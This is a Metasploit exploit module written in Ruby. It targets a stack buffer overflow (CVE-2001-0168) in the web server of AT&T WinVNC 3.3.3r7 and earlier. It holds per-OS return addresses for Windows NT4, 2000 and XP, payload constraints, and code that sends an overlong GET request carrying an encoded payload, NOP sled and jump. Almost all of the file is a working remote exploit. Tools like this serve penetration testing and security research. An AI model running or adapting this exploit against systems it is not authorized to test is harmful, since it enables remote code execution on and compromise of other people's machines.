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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name'	=> 'WinVNC Web Server GET Overflow',
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        'Description'	=> %q{
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          This module exploits a buffer overflow in the AT&T WinVNC version
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          <= v3.3.3r7 web server. When debugging mode with logging is
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          enabled (non-default), an overly long GET request can overwrite
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          the stack. This exploit does not work well with VNC payloads!
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        },
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        'Author' => 'aushack',
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'BID', '2306' ],
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          [ 'OSVDB', '6280' ],
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          [ 'CVE', '2001-0168' ],
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        ],
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        'Privileged'	=> true,
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        'DefaultOptions' => {
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          'EXITFUNC'	=> 'thread',
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        },
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        'Payload' => {
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          'Space'	=> 979,
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          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x0b",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => ['win'],
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        'Targets' => [
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          [ 'Windows NT4 SP3-6',	{ 'Ret' => 0x779f4e39 } ], # push esp, ret msvcrt.dll
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          [ 'Windows 2000 SP1-4', { 'Ret' => 0x77bba3af } ], # jmp esp comctl32.dll
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          [ 'Windows XP SP0-1',	{ 'Ret' => 0x71ab7bfb } ], # jmp esp ws2_32.dll
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        ],
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        'DisclosureDate' => '2001-01-29',
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        'DefaultTarget' => 1,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(5800),
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      ]
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    )
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  end
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  def exploit
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    sploit = '/' + payload.encoded + [target['Ret']].pack('V')
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    sploit << make_nops(8) + Rex::Arch::X86.jmp(0xfffffc1c)
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    res = send_request_raw({
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      'uri' => sploit,
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      'method' => 'GET',
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    }, 5)
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    handler
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  end
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end
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